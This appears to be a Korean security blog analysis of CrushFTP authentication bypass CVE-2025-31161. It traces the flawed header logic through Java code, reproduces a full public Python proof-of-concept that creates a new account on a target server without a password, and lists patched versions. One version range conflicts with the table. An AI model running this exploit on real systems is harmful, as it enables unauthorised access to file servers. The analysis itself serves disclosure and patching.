CrushFTP 인증 우회 취약점 (CVE-2025-31161)
1. CrushFTP
- 파일 전송 솔루션
2. CVE-2025-31161
- CrushFTP의 파라미터 오버로딩으로 인한 인증 우회 취약점 (CVSS: 9.8) [3][4]
영향받는 버전
- CrushFTP 11.0.0 ≤ 11.3.0 / 10.0.0 ≤ 11.8.3
- CrushFTP는 버전 10부터 AWS S3와 호환되는 API를 제공
> 클라이언트가 Authorization 헤더를 포함하는 요청을 통해 S3 인증을 진행
> 서버는 AccessKey 값을 추출해 사용자를 식별한 다음 Signature 값을 검증해 인증을 수행
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>
- 취약점은 ServerSessionHTTP.java의 loginCheckHeaderAuth() 메서드에서 발생
> 해당 메서드는 사용자가 S3 스타일의 API를 요청했을 때 헤더의 Authorization 헤더를 처리
> 아래 코드에서 lookup_user_pass가
① true인 경우 내부 저장소에서 비밀번호를 찾고
② false인 경우 제공된 비밀번호를 사용해야 하는지를 표시하는 값
> 또한 해당 값은 login_user_pass()의 첫 번째 매개변수로 전달
if (this.headerLookup.containsKey("Authorization".toUpperCase()) &&
this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
// Extract the username from credential field
String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
// Initialize variables
String user_pass = null;
String user_name = s3_username3;
boolean lookup_user_pass = true; // Default to true - this is crucial!
// Check if username contains a tilde
if (s3_username3.indexOf("~") >= 0) {
user_pass = user_name.substring(user_name.indexOf("~") + 1);
user_name = user_name.substring(0, user_name.indexOf("~"));
lookup_user_pass = false;
}
// In version 11.3.0, there's no security check here
// Attempt to authenticate the user
if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
// Authentication succeeds
}
}
- login_user_pass()에서 전달된 lookup_user_pass는 anyPass로 사용됨
> anyPass 값은 verified_user 함수를 호출하는데 인수로 사용
※ 코드 문맥 상 anyPass는 로그인을 시도하는 계정에 대해 서버가 임의의 비밀번호를 받아들여야 하는지 여부를 결정하는 변수로 판단됨 (비밀번호가 아직 설정되지 않았거나, 비밀번호가 필요하지 않은 사용자인 경우 등)
// Inside SessionCrush.java
public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception {
// Various validations and logging happen here
if (user_name.length() <= 2000) {
int length = user_pass.length();
ServerStatus serverStatus = ServerStatus.thisObj;
if (length <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") /* other conditions */) {
Log.log("LOGIN", 3, new Exception(String.valueOf(LOC.G("INFO:Logging in with user:")) + user_name));
uiPUT("last_logged_command", "USER");
// Numerous other checks and validations
// Eventually we call verify_user with the anyPass parameter
boolean verified = verify_user(user_name, verify_password, anyPass, doAfterLogin);
if (verified && this.user != null) {
// Authentication success handling
return true;
}
}
}
return false;
}
- verify_user()는 anyPass 매개변수를 사용해 UserTools.ut.verify_user() 호출
// Inside SessionCrush.java
public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) {
// Various user validation and formatting logic
// The anyPass value is passed to the UserTools.ut.verify_user method
this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser2, thePass,
uiSG("listen_ip_port"), this, uiIG("user_number"), uiSG("user_ip"),
uiIG("user_port"), this.server_item, loginReason, anyPass);
// The critical check: if anyPass is true, we don't consider a null user to be an authentication failure
if (!anyPass && this.user == null && !theUser2.toLowerCase().equals("anonymous")) {
this.user_info.put("plugin_user_auth_info", "Password incorrect.");
}
// Various other checks and return logic
return this.user != null;
}
- UserTools.ut.verify_user()에서 anyPass=True이고, 특정 username인 경우 인증을 우회하여 로그인 가능
// Inside UserTools.java
public Properties verify_user(
ServerStatus server_status_frame,
String the_user,
String the_password,
String serverGroup,
SessionCrush thisSession,
int user_number,
String user_ip,
int user_port,
Properties server_item,
Properties loginReason,
boolean anyPass
) {
// User lookup and validation logic
Properties user = this.getUser(serverGroup, the_user, true);
// Here's the critical vulnerability:
// If anyPass is true, password verification is skipped entirely
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // Authentication succeeds without any password check
}
// Otherwise normal password verification occurs
if (user.getProperty("username").equalsIgnoreCase(the_user) &&
check_pass_variants(user.getProperty("password"), the_password, user.getProperty("salt", ""))) {
return user;
}
// Authentication fails
return null;
}
- 공격자는 다음과 같은 요청을 통해 인증 우회 가능
① 경로: &c2f={} // 쿠키 헤더값과 동일하게 구성
② Cookie헤더: CrushAuth키 값을 {13자리랜덤숫자}{30자리_랜덤값}{c2f} 구성
③ Authorization 헤더: AWS4-HMAC-SHA256 Credentail={username}/
3. PoC [5]
# Copyright (C) 2025 Kev Breen,Ben McCarthy Immersive
# https://github.com/Immersive-Labs-Sec/CVE-2025-31161
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import requests
from argparse import ArgumentParser
def exploit(target_host, port, target_user, new_user, password):
print("[+] Preparing Payloads")
# First request details
warm_up_url = f"http://{target_host}:{port}/WebInterface/function/"
create_user_url = f"http://{target_host}:{port}/WebInterface/function/"
headers = {
"Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
"Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
"Connection": "close",
}
payload = {
"command": "setUserItem",
"data_action": "replace",
"serverGroup": "MainUsers",
"username": new_user,
"user": f'<?xml version="1.0" encoding="UTF-8"?><user type="properties"><user_name>{new_user}</user_name><password>{password}</password><extra_vfs type="vector"></extra_vfs><version>1.0</version><root_dir>/</root_dir><userVersion>6</userVersion><max_logins>0</max_logins><site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site><created_by_username>{target_user}</created_by_username><created_by_email></created_by_email><created_time>1744120753370</created_time><password_history></password_history></user>',
"xmlItem": "user",
"vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
"permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)</item></VFS>',
"c2f": "31If"
}
# Execute requests sequentially
print(" [-] Warming up the target")
# we jsut fire a request and let it time out.
try:
warm_up_request = requests.get(warm_up_url, headers=headers, timeout=20)
if warm_up_request.status_code == 200:
print(" [-] Target is up and running")
except requests.exceptions.ConnectionError:
print(" [-] Request timed out, continuing with exploit")
print("[+] Sending Account Create Request")
create_user_request = requests.post(create_user_url, headers=headers, data=payload)
if create_user_request.status_code != 200:
print(" [-] Failed to send request")
print(" [+] Status code:", create_user_request.status_code)
if '<response_status>OK</response_status>' in create_user_request.text:
print(" [!] User created successfully")
if __name__ == "__main__":
parser = ArgumentParser(description="Exploit CVE-2025-31161 to create a new account")
parser.add_argument("--target_host", help="Target host")
parser.add_argument("--port", type=int, help="Target port", default=8080)
parser.add_argument("--target_user", help="Target user", default="crushadmin")
parser.add_argument("--new_user", help="New user to create", default="AuthBypassAccount")
parser.add_argument("--password", help="Password for the new user", default="CorrectHorseBatteryStaple")
args = parser.parse_args()
if not args.target_host:
print(" [-] Target host not specified")
parser.print_help()
exit(1)
exploit(
target_host=args.target_host,
port=args.port,
target_user=args.target_user,
new_user=args.new_user,
password=args.password
)
print(f"[+] Exploit Complete you can now login with\n [*] Username: {args.new_user}\n [*] Password: {args.password}.")
4. 대응방안
- 벤더사 제공 업데이트 적용 [6][7]
> lookup_password 기능 비활성화
> Authorization 헤더 내 Credential 키 값 구성 검증
> 인증 로직 변경
제품명 | 영향받는 버전 | 해결 버전 |
CrushFTP | 11.0.0 이상 ~ 11.3.0 이하 | 11.3.1 |
10.0.0 이상 ~ 10.8.3 이하 | 10.8.4 |
5. 참고
[1] https://www.crushftp.com/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-31161
[3] https://projectdiscovery.io/blog/crushftp-authentication-bypass
[4] https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis
[5] https://github.com/Immersive-Labs-Sec/CVE-2025-31161
[6] https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71705
[8] https://hackyboiz.github.io/2025/04/19/empty/CVE-2025-31161